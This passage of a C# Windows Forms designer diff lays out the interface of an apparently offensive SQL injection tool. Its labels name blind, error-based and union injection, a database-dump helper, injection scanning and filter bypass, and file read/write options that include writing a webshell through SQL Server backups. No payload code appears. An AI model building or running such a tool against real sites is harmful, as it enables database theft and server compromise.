System.Windows.Forms.ToolStripStatusLabel(); + this.lbl_packsCount = new System.Windows.Forms.ToolStripStatusLabel(); + this.timer_status = new System.Windows.Forms.Timer(this.components); + this.timer_scanInjection = new System.Windows.Forms.Timer(this.components); + this.cbox_bypass_urlencode_count = new System.Windows.Forms.ComboBox(); + this.gb_basic.SuspendLayout(); + this.menuStrip_main.SuspendLayout(); + this.gb_logo.SuspendLayout(); + this.tab_logCenter.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).BeginInit(); + this.splitContainer1.Panel1.SuspendLayout(); + this.splitContainer1.Panel2.SuspendLayout(); + this.splitContainer1.SuspendLayout(); + this.groupBox5.SuspendLayout(); + this.log_cms_dataifo.SuspendLayout(); + this.groupBox6.SuspendLayout(); + this.tabControl2.SuspendLayout(); + this.tabPage3.SuspendLayout(); + this.tabPage4.SuspendLayout(); + this.tabPage1.SuspendLayout(); + this.tab_file.SuspendLayout(); + this.groupBox7.SuspendLayout(); + this.tab_dataCenter.SuspendLayout(); + this.tabC_dataCenter.SuspendLayout(); + this.tab_vers.SuspendLayout(); + this.data_cms_vers.SuspendLayout(); + this.tab_dbs.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.spc_dbs)).BeginInit(); + this.spc_dbs.Panel1.SuspendLayout(); + this.spc_dbs.Panel2.SuspendLayout(); + this.spc_dbs.SuspendLayout(); + this.data_dbs_ts.SuspendLayout(); + this.groupBox2.SuspendLayout(); + this.data_cms_dbs.SuspendLayout(); + this.toolStrip1.SuspendLayout(); + this.groupBox4.SuspendLayout(); + this.cms_data_dbs_lvw_data.SuspendLayout(); + this.tab_injectCenter.SuspendLayout(); + this.groupBox1.SuspendLayout(); + this.cms_dataPacks.SuspendLayout(); + this.groupBox3.SuspendLayout(); + this.groupBox16.SuspendLayout(); + this.groupBox15.SuspendLayout(); + this.mytab.SuspendLayout(); + this.tab_cmd.SuspendLayout(); + this.groupBox8.SuspendLayout(); + this.tab_bypass.SuspendLayout(); + this.groupBox9.SuspendLayout(); + this.bypass_lvw_replaceString_cms.SuspendLayout(); + this.tab_encoding.SuspendLayout(); + this.groupBox13.SuspendLayout(); + this.groupBox11.SuspendLayout(); + this.groupBox10.SuspendLayout(); + this.tab_scanInjection.SuspendLayout(); + this.groupBox14.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).BeginInit(); + this.splitContainer2.Panel1.SuspendLayout(); + this.splitContainer2.Panel2.SuspendLayout(); + this.splitContainer2.SuspendLayout(); + this.scanInjectionURL_cms.SuspendLayout(); + this.scanInjection_cms.SuspendLayout(); + this.groupBox12.SuspendLayout(); + this.statusStrip1.SuspendLayout(); + this.SuspendLayout(); + // + // gb_basic + // + this.gb_basic.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.gb_basic.Controls.Add(this.chk_useSSL); + this.gb_basic.Controls.Add(this.btn_exportConfig); + this.gb_basic.Controls.Add(this.cbox_basic_threadSize); + this.gb_basic.Controls.Add(this.cbox_basic_reTryCount); + this.gb_basic.Controls.Add(this.cbox_basic_encoding); + this.gb_basic.Controls.Add(this.cbox_basic_timeOut); + this.gb_basic.Controls.Add(this.label9); + this.gb_basic.Controls.Add(this.label11); + this.gb_basic.Controls.Add(this.label5); + this.gb_basic.Controls.Add(this.btn_autoInject); + this.gb_basic.Controls.Add(this.cbox_basic_dbType); + this.gb_basic.Controls.Add(this.label6); + this.gb_basic.Controls.Add(this.cbox_basic_injectType); + this.gb_basic.Controls.Add(this.txt_basic_port); + this.gb_basic.Controls.Add(this.label2); + this.gb_basic.Controls.Add(this.txt_basic_host); + this.gb_basic.Controls.Add(this.label3); + this.gb_basic.Controls.Add(this.label7); + this.gb_basic.Controls.Add(this.label1); + this.gb_basic.Location = new System.Drawing.Point(11, 30); + this.gb_basic.Name = "gb_basic"; + this.gb_basic.Size = new System.Drawing.Size(810, 76); + this.gb_basic.TabIndex = 0; + this.gb_basic.TabStop = false; + this.gb_basic.Text = "基础信息"; + // + // chk_useSSL + // + this.chk_useSSL.AutoSize = true; + this.chk_useSSL.Location = new System.Drawing.Point(188, 49); + this.chk_useSSL.Name = "chk_useSSL"; + this.chk_useSSL.Size = new System.Drawing.Size(42, 16); + this.chk_useSSL.TabIndex = 12; + this.chk_useSSL.Text = "SSL"; + this.chk_useSSL.UseVisualStyleBackColor = true; + this.chk_useSSL.CheckedChanged += new System.EventHandler(this.chk_useSSL_CheckedChanged); + // + // btn_exportConfig + // + this.btn_exportConfig.Location = new System.Drawing.Point(708, 48); + this.btn_exportConfig.Name = "btn_exportConfig"; + this.btn_exportConfig.Size = new System.Drawing.Size(75, 23); + this.btn_exportConfig.TabIndex = 11; + this.btn_exportConfig.Text = "导出配置"; + this.btn_exportConfig.UseVisualStyleBackColor = true; + this.btn_exportConfig.Click += new System.EventHandler(this.btn_exportConfig_Click); + // + // cbox_basic_threadSize + // + this.cbox_basic_threadSize.FormattingEnabled = true; + this.cbox_basic_threadSize.Items.AddRange(new object[] { + "1", + "2", + "3", + "4", + "5", + "6", + "7", + "8", + "9", + "10", + "15", + "20", + "30", + "40", + "50", + "70", + "100"}); + this.cbox_basic_threadSize.Location = new System.Drawing.Point(641, 17); + this.cbox_basic_threadSize.Name = "cbox_basic_threadSize"; + this.cbox_basic_threadSize.Size = new System.Drawing.Size(50, 20); + this.cbox_basic_threadSize.TabIndex = 10; + this.cbox_basic_threadSize.TextChanged += new System.EventHandler(this.cbox_basic_threadSize_TextChanged); + // + // cbox_basic_reTryCount + // + this.cbox_basic_reTryCount.FormattingEnabled = true; + this.cbox_basic_reTryCount.Items.AddRange(new object[] { + "0", + "1", + "2", + "3"}); + this.cbox_basic_reTryCount.Location = new System.Drawing.Point(641, 47); + this.cbox_basic_reTryCount.Name = "cbox_basic_reTryCount"; + this.cbox_basic_reTryCount.Size = new System.Drawing.Size(50, 20); + this.cbox_basic_reTryCount.TabIndex = 9; + this.cbox_basic_reTryCount.TextChanged += new System.EventHandler(this.cbox_basic_reTryCount_TextChanged); + // + // cbox_basic_encoding + // + this.cbox_basic_encoding.FormattingEnabled = true; + this.cbox_basic_encoding.Items.AddRange(new object[] { + "自动识别", + "UTF-8", + "GB2312", + "GBK", + "ISO-8859-1"}); + this.cbox_basic_encoding.Location = new System.Drawing.Point(334, 49); + this.cbox_basic_encoding.Name = "cbox_basic_encoding"; + this.cbox_basic_encoding.Size = new System.Drawing.Size(78, 20); + this.cbox_basic_encoding.TabIndex = 8; + this.cbox_basic_encoding.TextChanged += new System.EventHandler(this.cbox_basic_encoding_TextChanged); + // + // cbox_basic_timeOut + // + this.cbox_basic_timeOut.FormattingEnabled = true; + this.cbox_basic_timeOut.Items.AddRange(new object[] { + "5", + "10", + "15", + "20", + "25", + "30", + "40", + "50", + "60"}); + this.cbox_basic_timeOut.Location = new System.Drawing.Point(334, 18); + this.cbox_basic_timeOut.Name = "cbox_basic_timeOut"; + this.cbox_basic_timeOut.Size = new System.Drawing.Size(78, 20); + this.cbox_basic_timeOut.TabIndex = 7; + this.cbox_basic_timeOut.TextChanged += new System.EventHandler(this.cbox_basic_timeOut_TextChanged); + // + // label9 + // + this.label9.AutoSize = true; + this.label9.Location = new System.Drawing.Point(263, 52); + this.label9.Name = "label9"; + this.label9.Size = new System.Drawing.Size(65, 12); + this.label9.TabIndex = 2; + this.label9.Text = "网页编码:"; + // + // label11 + // + this.label11.AutoSize = true; + this.label11.Location = new System.Drawing.Point(592, 51); + this.label11.Name = "label11"; + this.label11.Size = new System.Drawing.Size(47, 12); + this.label11.TabIndex = 2; + this.label11.Text = "重 试:"; + // + // label5 + // + this.label5.AutoSize = true; + this.label5.Location = new System.Drawing.Point(592, 21); + this.label5.Name = "label5"; + this.label5.Size = new System.Drawing.Size(47, 12); + this.label5.TabIndex = 2; + this.label5.Text = "线 程:"; + // + // btn_autoInject + // + this.btn_autoInject.ImageKey = "(无)"; + this.btn_autoInject.Location = new System.Drawing.Point(708, 16); + this.btn_autoInject.Name = "btn_autoInject"; + this.btn_autoInject.Size = new System.Drawing.Size(75, 23); + this.btn_autoInject.TabIndex = 5; + this.btn_autoInject.Text = "识别注入"; + this.btn_autoInject.UseVisualStyleBackColor = true; + this.btn_autoInject.Click += new System.EventHandler(this.btn_autoInject_Click); + // + // cbox_basic_dbType + // + this.cbox_basic_dbType.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cbox_basic_dbType.FormattingEnabled = true; + this.cbox_basic_dbType.Items.AddRange(new object[] { + "未 知", + "Access", + "MySQL5", + "SQLServer", + "Oracle"}); + this.cbox_basic_dbType.Location = new System.Drawing.Point(495, 47); + this.cbox_basic_dbType.Name = "cbox_basic_dbType"; + this.cbox_basic_dbType.Size = new System.Drawing.Size(80, 20); + this.cbox_basic_dbType.TabIndex = 3; + this.cbox_basic_dbType.SelectedIndexChanged += new System.EventHandler(this.cbox_basic_dbType_SelectedIndexChanged); + // + // label6 + // + this.label6.AutoSize = true; + this.label6.Location = new System.Drawing.Point(427, 50); + this.label6.Name = "label6"; + this.label6.Size = new System.Drawing.Size(65, 12); + this.label6.TabIndex = 4; + this.label6.Text = "数 据 库:"; + // + // cbox_basic_injectType + // + this.cbox_basic_injectType.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cbox_basic_injectType.FormattingEnabled = true; + this.cbox_basic_injectType.Items.AddRange(new object[] { + "未 知", + "盲 注", + "显错注入", + "Union注入"}); + this.cbox_basic_injectType.Location = new System.Drawing.Point(495, 17); + this.cbox_basic_injectType.Name = "cbox_basic_injectType"; + this.cbox_basic_injectType.Size = new System.Drawing.Size(81, 20); + this.cbox_basic_injectType.TabIndex = 5; + this.cbox_basic_injectType.SelectedIndexChanged += new System.EventHandler(this.cbox_basic_injectType_SelectedIndexChanged); + // + // txt_basic_port + // + this.txt_basic_port.Location = new System.Drawing.Point(88, 46); + this.txt_basic_port.Name = "txt_basic_port"; + this.txt_basic_port.Size = new System.Drawing.Size(80, 21); + this.txt_basic_port.TabIndex = 4; + this.txt_basic_port.Text = "80"; + this.txt_basic_port.TextChanged += new System.EventHandler(this.txt_basic_port_TextChanged); + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(19, 51); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(65, 12); + this.label2.TabIndex = 3; + this.label2.Text = "目标端口:"; + // + // txt_basic_host + // + this.txt_basic_host.Location = new System.Drawing.Point(88, 17); + this.txt_basic_host.Name = "txt_basic_host"; + this.txt_basic_host.Size = new System.Drawing.Size(160, 21); + this.txt_basic_host.TabIndex = 2; + this.txt_basic_host.Text = "127.0.0.1"; + this.txt_basic_host.TextChanged += new System.EventHandler(this.txt_basic_host_TextChanged); + // + // label3 + // + this.label3.AutoSize = true; + this.label3.Location = new System.Drawing.Point(263, 21); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(65, 12); + this.label3.TabIndex = 2; + this.label3.Text = "超时时间:"; + // + // label7 + // + this.label7.AutoSize = true; + this.label7.Location = new System.Drawing.Point(427, 20); + this.label7.Name = "label7"; + this.label7.Size = new System.Drawing.Size(65, 12); + this.label7.TabIndex = 1; + this.label7.Text = "注入类型:"; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(19, 21); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(65, 12); + this.label1.TabIndex = 1; + this.label1.Text = "域名或IP:"; + // + // menuStrip_main + // + this.menuStrip_main.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.tsmi_menu, + this.tsmi_tools, + this.toolStripMenuItem1, + this.tsmi_help}); + this.menuStrip_main.Location = new System.Drawing.Point(0, 0); + this.menuStrip_main.Name = "menuStrip_main"; + this.menuStrip_main.Size = new System.Drawing.Size(834, 25); + this.menuStrip_main.TabIndex = 2; + this.menuStrip_main.Text = "menuStrip1"; + // + // tsmi_menu + // + this.tsmi_menu.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.tsmi_openConfig, + this.tsmi_saveConfig}); + this.tsmi_menu.Name = "tsmi_menu"; + this.tsmi_menu.Size = new System.Drawing.Size(48, 21); + this.tsmi_menu.Text = "菜 单"; + // + // tsmi_openConfig + // + this.tsmi_openConfig.Name = "tsmi_openConfig"; + this.tsmi_openConfig.Size = new System.Drawing.Size(124, 22); + this.tsmi_openConfig.Text = "导入配置"; + this.tsmi_openConfig.Click += new System.EventHandler(this.tsmi_openConfig_Click); + // + // tsmi_saveConfig + // + this.tsmi_saveConfig.Name = "tsmi_saveConfig"; + this.tsmi_saveConfig.Size = new System.Drawing.Size(124, 22); + this.tsmi_saveConfig.Text = "保存配置"; + this.tsmi_saveConfig.Click += new System.EventHandler(this.tsmi_saveConfig_Click); + // + // tsmi_tools + // + this.tsmi_tools.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.脱裤助手ToolStripMenuItem}); + this.tsmi_tools.Name = "tsmi_tools"; + this.tsmi_tools.Size = new System.Drawing.Size(48, 21); + this.tsmi_tools.Text = "工 具"; + // + // 脱裤助手ToolStripMenuItem + // + this.脱裤助手ToolStripMenuItem.Name = "脱裤助手ToolStripMenuItem"; + this.脱裤助手ToolStripMenuItem.Size = new System.Drawing.Size(124, 22); + this.脱裤助手ToolStripMenuItem.Text = "脱裤助手"; + // + // toolStripMenuItem1 + // + this.toolStripMenuItem1.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.tsmi_seting}); + this.toolStripMenuItem1.Name = "toolStripMenuItem1"; + this.toolStripMenuItem1.Size = new System.Drawing.Size(68, 21); + this.toolStripMenuItem1.Text = "系统设置"; + // + // tsmi_seting + // + this.tsmi_seting.Name = "tsmi_seting"; + this.tsmi_seting.Size = new System.Drawing.Size(124, 22); + this.tsmi_seting.Text = "系统设置"; + this.tsmi_seting.Click += new System.EventHandler(this.tsmi_seting_Click); + // + // tsmi_help + // + this.tsmi_help.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.tsmi_readme, + this.tsmi_about, + this.tsmi_update, + this.tsmi_mustRead, + this.版本ToolStripMenuItem, + this.tsmi_bugReport}); + this.tsmi_help.Name = "tsmi_help"; + this.tsmi_help.Size = new System.Drawing.Size(48, 21); + this.tsmi_help.Text = "帮 助"; + // + // tsmi_readme + // + this.tsmi_readme.Name = "tsmi_readme"; + this.tsmi_readme.Size = new System.Drawing.Size(124, 22); + this.tsmi_readme.Text = "使用手册"; + this.tsmi_readme.Click += new System.EventHandler(this.tsmi_readme_Click); + // + // tsmi_about + // + this.tsmi_about.Name = "tsmi_about"; + this.tsmi_about.Size = new System.Drawing.Size(124, 22); + this.tsmi_about.Text = "关 于"; + this.tsmi_about.Click += new System.EventHandler(this.tsmi_about_Click); + // + // tsmi_update + // + this.tsmi_update.Name = "tsmi_update"; + this.tsmi_update.Size = new System.Drawing.Size(124, 22); + this.tsmi_update.Text = "在线更新"; + this.tsmi_update.Click += new System.EventHandler(this.tsmi_update_Click); + // + // tsmi_mustRead + // + this.tsmi_mustRead.Name = "tsmi_mustRead"; + this.tsmi_mustRead.Size = new System.Drawing.Size(124, 22); + this.tsmi_mustRead.Text = "声 明"; + this.tsmi_mustRead.Click += new System.EventHandler(this.tsmi_mustRead_Click); + // + // 版本ToolStripMenuItem + // + this.版本ToolStripMenuItem.Name = "版本ToolStripMenuItem"; + this.版本ToolStripMenuItem.Size = new System.Drawing.Size(124, 22); + this.版本ToolStripMenuItem.Text = "版本"; + this.版本ToolStripMenuItem.Click += new System.EventHandler(this.版本ToolStripMenuItem_Click); + // + // tsmi_bugReport + // + this.tsmi_bugReport.Name = "tsmi_bugReport"; + this.tsmi_bugReport.Size = new System.Drawing.Size(124, 22); + this.tsmi_bugReport.Text = "Bug反馈"; + this.tsmi_bugReport.Click += new System.EventHandler(this.tsmi_bugReport_Click); + // + // gb_logo + // + this.gb_logo.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.gb_logo.Controls.Add(this.txt_log); + this.gb_logo.Location = new System.Drawing.Point(8, 569); + this.gb_logo.Name = "gb_logo"; + this.gb_logo.Size = new System.Drawing.Size(813, 87); + this.gb_logo.TabIndex = 3; + this.gb_logo.TabStop = false; + this.gb_logo.Text = "日志"; + // + // txt_log + // + this.txt_log.Dock = System.Windows.Forms.DockStyle.Fill; + this.txt_log.Location = new System.Drawing.Point(3, 17); + this.txt_log.Multiline = true; + this.txt_log.Name = "txt_log"; + this.txt_log.ScrollBars = System.Windows.Forms.ScrollBars.Both; + this.txt_log.Size = new System.Drawing.Size(807, 67); + this.txt_log.TabIndex = 3; + // + // tab_logCenter + // + this.tab_logCenter.Controls.Add(this.splitContainer1); + this.tab_logCenter.ImageKey = "log.png"; + this.tab_logCenter.Location = new System.Drawing.Point(4, 23); + this.tab_logCenter.Name = "tab_logCenter"; + this.tab_logCenter.Size = new System.Drawing.Size(802, 424); + this.tab_logCenter.TabIndex = 3; + this.tab_logCenter.Text = "日志中心"; + this.tab_logCenter.UseVisualStyleBackColor = true; + // + // splitContainer1 + // + this.splitContainer1.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer1.Location = new System.Drawing.Point(0, 0); + this.splitContainer1.Name = "splitContainer1"; + this.splitContainer1.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer1.Panel1 + // + this.splitContainer1.Panel1.Controls.Add(this.groupBox5); + // + // splitContainer1.Panel2 + // + this.splitContainer1.Panel2.Controls.Add(this.groupBox6); + this.splitContainer1.Size = new System.Drawing.Size(802, 424); + this.splitContainer1.SplitterDistance = 214; + this.splitContainer1.TabIndex = 2; + // + // groupBox5 + // + this.groupBox5.Controls.Add(this.log_lvw_httpLog); + this.groupBox5.Dock = System.Windows.Forms.DockStyle.Fill; + this.groupBox5.Location = new System.Drawing.Point(0, 0); + this.groupBox5.Name = "groupBox5"; + this.groupBox5.Size = new System.Drawing.Size(802, 214); + this.groupBox5.TabIndex = 0; + this.groupBox5.TabStop = false; + this.groupBox5.Text = "数据包历史记录"; + // + // log_lvw_httpLog + // + this.log_lvw_httpLog.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { + this.log_col_index, + this.log_col_payload, + this.col_runtime, + this.log_col_code, + this.log_col_bodyLength, + this.log_col_sleepTime}); + this.log_lvw_httpLog.ContextMenuStrip = this.log_cms_dataifo; + this.log_lvw_httpLog.Dock = System.Windows.Forms.DockStyle.Fill; + this.log_lvw_httpLog.FullRowSelect = true; + this.log_lvw_httpLog.Location = new System.Drawing.Point(3, 17); + this.log_lvw_httpLog.Name = "log_lvw_httpLog"; + this.log_lvw_httpLog.Size = new System.Drawing.Size(796, 194); + this.log_lvw_httpLog.TabIndex = 1; + this.log_lvw_httpLog.UseCompatibleStateImageBehavior = false; + this.log_lvw_httpLog.View = System.Windows.Forms.View.Details; + this.log_lvw_httpLog.ColumnClick += new System.Windows.Forms.ColumnClickEventHandler(this.log_lvw_httpLog_ColumnClick); + this.log_lvw_httpLog.SelectedIndexChanged += new System.EventHandler(this.log_lvw_httpLog_SelectedIndexChanged); + this.log_lvw_httpLog.MouseClick += new System.Windows.Forms.MouseEventHandler(this.log_lvw_httpLog_MouseClick); + // + // log_col_index + // + this.log_col_index.Text = "发包序号"; + this.log_col_index.Width = 75; + // + // log_col_payload + // + this.log_col_payload.Text = "Payload"; + this.log_col_payload.Width = 376; + // + // col_runtime + // + this.col_runtime.Text = "用时[毫秒]"; + this.col_runtime.Width = 85; + // + // log_col_code + // + this.log_col_code.Text = "状态码"; + this.log_col_code.Width = 65; + // + // log_col_bodyLength + // + this.log_col_bodyLength.Text = "body长度"; + this.log_col_bodyLength.Width = 85; + // + // log_col_sleepTime + // + this.log_col_sleepTime.Text = "延时[毫秒]"; + this.log_col_sleepTime.Width = 85; + // + // log_cms_dataifo + // + this.log_cms_dataifo.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.data_cms_clearLog}); + this.log_cms_dataifo.Name = "log_cms_dataifo"; + this.log_cms_dataifo.Size = new System.Drawing.Size(125, 26); + // + // data_cms_clearLog + // + this.data_cms_clearLog.Name = "data_cms_clearLog"; + this.data_cms_clearLog.Size = new System.Drawing.Size(124, 22); + this.data_cms_clearLog.Text = "清空记录"; + this.data_cms_clearLog.Click += new System.EventHandler(this.data_cms_clearLog_Click); + // + // groupBox6 + // + this.groupBox6.Controls.Add(this.tabControl2); + this.groupBox6.Dock = System.Windows.Forms.DockStyle.Fill; + this.groupBox6.Location = new System.Drawing.Point(0, 0); + this.groupBox6.Name = "groupBox6"; + this.groupBox6.Size = new System.Drawing.Size(802, 206); + this.groupBox6.TabIndex = 1; + this.groupBox6.TabStop = false; + this.groupBox6.Text = "数据包详情"; + // + // tabControl2 + // + this.tabControl2.Controls.Add(this.tabPage3); + this.tabControl2.Controls.Add(this.tabPage4); + this.tabControl2.Controls.Add(this.tabPage1); + this.tabControl2.Dock = System.Windows.Forms.DockStyle.Fill; + this.tabControl2.Location = new System.Drawing.Point(3, 17); + this.tabControl2.Name = "tabControl2"; + this.tabControl2.SelectedIndex = 0; + this.tabControl2.Size = new System.Drawing.Size(796, 186); + this.tabControl2.TabIndex = 0; + // + // tabPage3 + // + this.tabPage3.Controls.Add(this.log_txt_request); + this.tabPage3.Location = new System.Drawing.Point(4, 22); + this.tabPage3.Name = "tabPage3"; + this.tabPage3.Padding = new System.Windows.Forms.Padding(3); + this.tabPage3.Size = new System.Drawing.Size(788, 160); + this.tabPage3.TabIndex = 0; + this.tabPage3.Text = "请 求"; + this.tabPage3.UseVisualStyleBackColor = true; + // + // log_txt_request + // + this.log_txt_request.Dock = System.Windows.Forms.DockStyle.Fill; + this.log_txt_request.Location = new System.Drawing.Point(3, 3); + this.log_txt_request.Multiline = true; + this.log_txt_request.Name = "log_txt_request"; + this.log_txt_request.ScrollBars = System.Windows.Forms.ScrollBars.Both; + this.log_txt_request.Size = new System.Drawing.Size(782, 154); + this.log_txt_request.TabIndex = 0; + // + // tabPage4 + // + this.tabPage4.Controls.Add(this.log_txt_response); + this.tabPage4.Location = new System.Drawing.Point(4, 22); + this.tabPage4.Name = "tabPage4"; + this.tabPage4.Padding = new System.Windows.Forms.Padding(3); + this.tabPage4.Size = new System.Drawing.Size(788, 160); + this.tabPage4.TabIndex = 1; + this.tabPage4.Text = "响 应"; + this.tabPage4.UseVisualStyleBackColor = true; + // + // log_txt_response + // + this.log_txt_response.Dock = System.Windows.Forms.DockStyle.Fill; + this.log_txt_response.Location = new System.Drawing.Point(3, 3); + this.log_txt_response.Multiline = true; + this.log_txt_response.Name = "log_txt_response"; + this.log_txt_response.ScrollBars = System.Windows.Forms.ScrollBars.Both; + this.log_txt_response.Size = new System.Drawing.Size(782, 154); + this.log_txt_response.TabIndex = 1; + this.log_txt_response.KeyDown += new System.Windows.Forms.KeyEventHandler(this.log_txt_response_KeyDown); + // + // tabPage1 + // + this.tabPage1.Controls.Add(this.webBro_log); + this.tabPage1.Location = new System.Drawing.Point(4, 22); + this.tabPage1.Name = "tabPage1"; + this.tabPage1.Size = new System.Drawing.Size(788, 160); + this.tabPage1.TabIndex = 2; + this.tabPage1.Text = "在浏览器中显示"; + this.tabPage1.UseVisualStyleBackColor = true; + // + // webBro_log + // + this.webBro_log.Dock = System.Windows.Forms.DockStyle.Fill; + this.webBro_log.Location = new System.Drawing.Point(0, 0); + this.webBro_log.MinimumSize = new System.Drawing.Size(20, 20); + this.webBro_log.Name = "webBro_log"; + this.webBro_log.Size = new System.Drawing.Size(788, 160); + this.webBro_log.TabIndex = 1; + // + // tab_file + // + this.tab_file.Controls.Add(this.file_txt_result); + this.tab_file.Controls.Add(this.groupBox7); + this.tab_file.ImageKey = "editFile.png"; + this.tab_file.Location = new System.Drawing.Point(4, 23); + this.tab_file.Name = "tab_file"; + this.tab_file.Size = new System.Drawing.Size(802, 424); + this.tab_file.TabIndex = 4; + this.tab_file.Text = "文件操作"; + this.tab_file.UseVisualStyleBackColor = true; + // + // file_txt_result + // + this.file_txt_result.Dock = System.Windows.Forms.DockStyle.Fill; + this.file_txt_result.Location = new System.Drawing.Point(0, 76); + this.file_txt_result.MaxLength = 3276700; + this.file_txt_result.Multiline = true; + this.file_txt_result.Name = "file_txt_result"; + this.file_txt_result.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; + this.file_txt_result.Size = new System.Drawing.Size(802, 348); + this.file_txt_result.TabIndex = 0; + this.file_txt_result.TextChanged += new System.EventHandler(this.file_txt_result_TextChanged); + this.file_txt_result.KeyDown += new System.Windows.Forms.KeyEventHandler(this.file_txt_result_KeyDown); + // + // groupBox7 + // + this.groupBox7.Controls.Add(this.file_btn_start); + this.groupBox7.Controls.Add(this.file_cbox_readWrite); + this.groupBox7.Controls.Add(this.file_txt_filePath); + this.groupBox7.Controls.Add(this.label14); + this.groupBox7.Controls.Add(this.cbox_file_readFileEncoding); + this.groupBox7.Controls.Add(this.label24); + this.groupBox7.Dock = System.Windows.Forms.DockStyle.Top; + this.groupBox7.Location = new System.Drawing.Point(0, 0); + this.groupBox7.Name = "groupBox7"; + this.groupBox7.Size = new System.Drawing.Size(802, 76); + this.groupBox7.TabIndex = 0; + this.groupBox7.TabStop = false; + this.groupBox7.Text = "文件操作"; + // + // file_btn_start + // + this.file_btn_start.Location = new System.Drawing.Point(695, 31); + this.file_btn_start.Name = "file_btn_start"; + this.file_btn_start.Size = new System.Drawing.Size(75, 23); + this.file_btn_start.TabIndex = 12; + this.file_btn_start.Text = "开始"; + this.file_btn_start.UseVisualStyleBackColor = true; + this.file_btn_start.Click += new System.EventHandler(this.file_btn_start_Click); + // + // file_cbox_readWrite + // + this.file_cbox_readWrite.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.file_cbox_readWrite.FormattingEnabled = true; + this.file_cbox_readWrite.Items.AddRange(new object[] { + "MySQL Load_File读文件", + "MySQL Union写文件", + "SQLServer FileSystemObject写文件", + "SQLServer Sp_MakeWebTask写文件", + "SQLServer 备份写WebShell(有多余数据)", + "SQLServer FileSystemObject读文件", + "加载获取IIS虚拟网站信息VBS"}); + this.file_cbox_readWrite.Location = new System.Drawing.Point(409, 31); + this.file_cbox_readWrite.Name = "file_cbox_readWrite"; + this.file_cbox_readWrite.Size = new System.Drawing.Size(274, 20); + this.file_cbox_readWrite.TabIndex = 2; + this.file_cbox_readWrite.SelectedIndexChanged += new System.EventHandler(this.file_cbox_readWrite_SelectedIndexChanged); + // + // file_txt_filePath + // + this.file_txt_filePath.Location = new System.Drawing.Point(85, 30); + this.file_txt_filePath.Name = "file_txt_filePath"; + this.file_txt_filePath.Size = new System.Drawing.Size(158, 21); + this.file_txt_filePath.TabIndex = 1; + // + // label14 + // + this.label14.AutoSize = true; + this.label14.Location = new System.Drawing.Point(32, 33); + this.label14.Name = "label14"; + this.label14.Size = new System.Drawing.Size(47, 12); + this.label14.TabIndex = 0; + this.label14.Text = "路 径:"; + // + // cbox_file_readFileEncoding + // + this.cbox_file_readFileEncoding.FormattingEnabled = true; + this.cbox_file_readFileEncoding.Items.AddRange(new object[] { + "UTF-8", + "GB2312", + "GBK", + "ISO-8859-1"}); + this.cbox_file_readFileEncoding.Location = new System.Drawing.Point(325, 31); + this.cbox_file_readFileEncoding.Name = "cbox_file_readFileEncoding"; + this.cbox_file_readFileEncoding.Size = new System.Drawing.Size(78, 20); + this.cbox_file_readFileEncoding.TabIndex = 8; + this.cbox_file_readFileEncoding.SelectedValueChanged += new System.EventHandler(this.cbox_file_readFileEncoding_SelectedValueChanged); + // + // label24 + // + this.label24.AutoSize = true; + this.label24.Location = new System.Drawing.Point(253, 33); + this.label24.Name = "label24"; + this.label24.Size = new System.Drawing.Size(65, 12); + this.label24.TabIndex = 2; + this.label24.Text = "文件编码:"; + // + // tab_dataCenter + // + this.tab_dataCenter.Controls.Add(this.tabC_dataCenter); + this.tab_dataCenter.ImageKey = "db.png"; + this.tab_dataCenter.Location = new System.Drawing.Point(4, 23); + this.tab_dataCenter.Name = "tab_dataCenter"; + this.tab_dataCenter.Padding = new System.Windows.Forms.Padding(3); + this.tab_dataCenter.Size = new System.Drawing.Size(802, 424); + this.tab_dataCenter.TabIndex = 1; + this.tab_dataCenter.Text = "数据中心"; + this.tab_dataCenter.UseVisualStyleBackColor = true; + // + // tabC_dataCenter + // + this.tabC_dataCenter.Controls.Add(this.tab_vers); + this.tabC_dataCenter.Controls.Add(this.tab_dbs); + this.tabC_dataCenter.Dock = System.Windows.Forms.DockStyle.Fill; + this.tabC_dataCenter.ImageList = this.myicon_list; + this.tabC_dataCenter.Location = new System.Drawing.Point(3, 3); + this.tabC_dataCenter.Name = "tabC_dataCenter"; + this.tabC_dataCenter.SelectedIndex = 0; + this.tabC_dataCenter.Size = new System.Drawing.Size(796, 418); + this.tabC_dataCenter.TabIndex = 2; + // + // tab_vers + // + this.tab_vers.Controls.Add(this.data_lvw_ver); + this.tab_vers.Location = new System.Drawing.Point(4, 23); + this.tab_vers.Name = "tab_vers"; + this.tab_vers.Padding = new System.Windows.Forms.Padding(3); + this.tab_vers.Size = new System.Drawing.Size(788, 391); + this.tab_vers.TabIndex = 0; + this.tab_vers.Text = "环境变量"; + this.tab_vers.UseVisualStyleBackColor = true; + // + // data_lvw_ver + // + this.data_lvw_ver.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { + this.data_lvw_ver_verName, + 